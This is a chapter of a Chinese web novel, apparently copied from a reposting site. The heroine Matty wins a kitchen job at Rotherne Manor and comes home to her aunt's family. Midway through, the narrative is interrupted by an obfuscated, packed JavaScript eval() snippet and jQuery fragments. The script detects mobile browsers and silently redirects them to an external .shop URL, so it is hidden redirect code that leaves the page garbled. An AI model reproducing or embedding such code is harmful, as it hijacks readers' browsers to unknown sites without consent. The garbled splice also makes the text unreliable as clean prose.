这个问题说起来简单，要答得好可不容易。
被沃特森太太特意留到最后来问，玛蒂当然不会天真地以为这只是随口一聊。
在她看来，这道题回答得好是加分项，说得平庸则连印象都留不下，万一答案恰好撞上考官的雷区，那就更糟了。
玛蒂心里估算了一下，刚才厨房考核里拿到红蓝双旗的人算上她就有五个，另一拨人的结果大概也差不多。
也就是说，这道题她必须答出点不一样的东西来，才能让沃特森太太真正记住她，在众人中脱颖而出。
转瞬间，玛蒂脑中已然有了思路。
上辈子在拍摄美食视频时，她常常需要面对镜头即兴分享一道菜的做法、故事和自己的理解，这种临场表达对她来说早已驾轻就熟。
终于，在一次深呼吸后，玛蒂开口了：
“饥饿——”
“我认为这世上最美味的食物——是饥饿。”
玛蒂没有去看沃特森太太脸上一闪而过的讶异神色，只是语气诚恳地继续说道：
“您刚才提问后，我忽然想起了一件事。前阵子我因为赶路饿了整整一天，在姑妈家门口晕了过去。等我醒来后，姑妈端了一碗热汤给我。”
说道这，玛蒂有意放慢了语速，像是在回忆什么：
“说实话，那碗汤做得很平常，可偏偏就是那碗再普通不过的热汤，比我记忆中的任何一餐都要美味。我后来想了很久，觉得唯一合理的解释就是当时的我实在饿得太厉害了。”
“所以对我而言，这个问题其实并没有一个确切的答案。因为当一个人饿到了极点，无论端上来什么，都会是世上最美味的食物。”
“饥饿……这可真是一个独特的答案。”
沃特森太太低声重复了一遍，她翻了翻笔记本道：
“前面几个姑娘，有说最美味的食物是妈妈做的煎饼的，有说是学校门口一便士水果糖的，还有个说是跨洋旅行时品尝到的罗马烩饭。”
“她们说的都是具体的食物，你却一样都没提。”
玛蒂拿不准这算夸还是算批评，手指在袖口底下紧张地绞了一下。
“不过，”沃特森太太合上本子，认真地看向玛蒂：“无论你是当真这样想的，还是临场编出来的，能在这样短的时间里给出这么一个巧妙的回答，说明你的头脑相当敏捷。”
“这一点我很欣赏。罗瑟恩庄园也始终欢迎聪明人的加入。”
听到这句话，玛蒂总算悄悄地舒了一口气，一直紧绷着的神经也随之缓了下来。
***
等所有人的面试与考核都结束后，梅布尔太太让同时拿到两面旗子的姑娘留下，其余人带着自己做的胡萝卜蛋糕先走。
一时间，仆人大厅里响起一阵阵叹息与窸窣的脚步声。
离开的人中有人眼眶泛红，抱着自己的小蛋糕不甘地回头，也有人咬唇忍着失落，闷头不语地走出大厅。
而留下的人里，则个个激动得面色潮红，眼神亮得仿佛能点起火来。
过了不到半个小时，梅布尔太太和沃特森太太便商讨出了结果，从房间里走了出去。
沃特森太太手中捏着名册，环视一圈后开口道：
“菲奥娜（Fiona）·惠特利，艾琳（Eileen）·克拉克，多莉（Dolly）·米勒——”
她的视线最后停在玛蒂身上。
在玛蒂剧烈的心跳声中，她如愿从沃特森太太口中听到了自己的名字：
“……还有玛蒂尔达（Matilda）·克里斯蒂。恭喜你们，从明天起，你们就是罗瑟恩庄园的厨房帮工。我给你们一天的时间准备，明日下午三点之前，务必来庄园准时报到。”
话音落下，玛蒂的心口猛地一热，几乎要溢出喜悦。
她身边的多莉则小声尖叫了一下，紧紧握住玛蒂的手，兴奋得连话都说不完整。
出了庄园，玛蒂仰头看了看天色，距离表哥来接她的时间还早着呢。
就在这时，多莉笑眯眯地挽上她的胳膊：
“我正好有事要去一趟斯托小镇，不介意的话就顺路把你捎回去吧。你可别客气，反正我一个人也无聊，有你陪着还能一路聊聊天。”
玛蒂也想早些把这个好消息告诉姑妈，犹豫一番后，她便答应了下来。
***
霍林斯先生今天难得提前收了工，回到家里休息。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717529|208543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>霍林斯太太坐在窗下织毛衣，针脚时紧时松，织到一半才发现花样数错了两行，气得她“啧”了一声又拆回去。
罗南抱着书坐在壁炉旁，火光一波一波映在她脸上，书页却半天没翻动。
米莉端着给阿奇的水盆发呆，盆一歪，阿奇“汪”地缩了一下身子，正好把尾巴伸进了水里，甩得她一脸水花，一人一狗对望三秒，齐齐打了个喷嚏。
科林猛地从椅子上站起，动作大到把霍林斯太太吓了一跳，手里的针线“啪嗒”掉到地上。
“你这是干嘛！一惊一乍的。”
她没好气地瞪儿子一眼，弯腰从地上捡起了针线。
科林挠挠头：“我在想要不要早点去接玛蒂表妹回家——”
话音未落，大门“吱呀”一声被推开。
玛蒂的身影出现在门口。
她还没来得及开口，屋里的人便纷纷丢下手中的活和狗围了上来。
“怎么样？”
“过了吗？”
“是不是选上了？”
玛蒂脸颊红扑扑的，被这么多目光盯着，她忍不住笑出声来：
“我通过了，真的通过了！”
“哇——”
米莉尖叫一声，猛地扑上来抱住她，小胳膊紧紧搂着表姐不撒手。
罗南则在一旁笑着鼓起掌来，眼里满是真心替她高兴。
等屋里的喧闹渐渐平息下来，玛蒂才把今天应聘的经过简单讲了一遍。
当听到玛蒂在蛋糕上画下了罗瑟恩家族的家徽，并因此得到了管家的称赞时，霍林斯太太双臂一抱，点评道：
“哼，这么说来，你这次能成功，可少不了我的功劳。”
“那当然，姑妈是头号功臣。”
玛蒂说着将一直拎在手里的布袋放到了桌上。
“我回来的路上顺便去了趟集市，买了些食材。”
她弯起眼睛，笑吟吟地说道：
“今晚咱们好好庆祝一下，饭后我给大家加一道甜点。”
见霍林斯一家一副欲言又止的模样，玛蒂轻咳两声，微笑补充道：
“放心，不是榅桲果冻。”
屋子里重新充满快活的空气。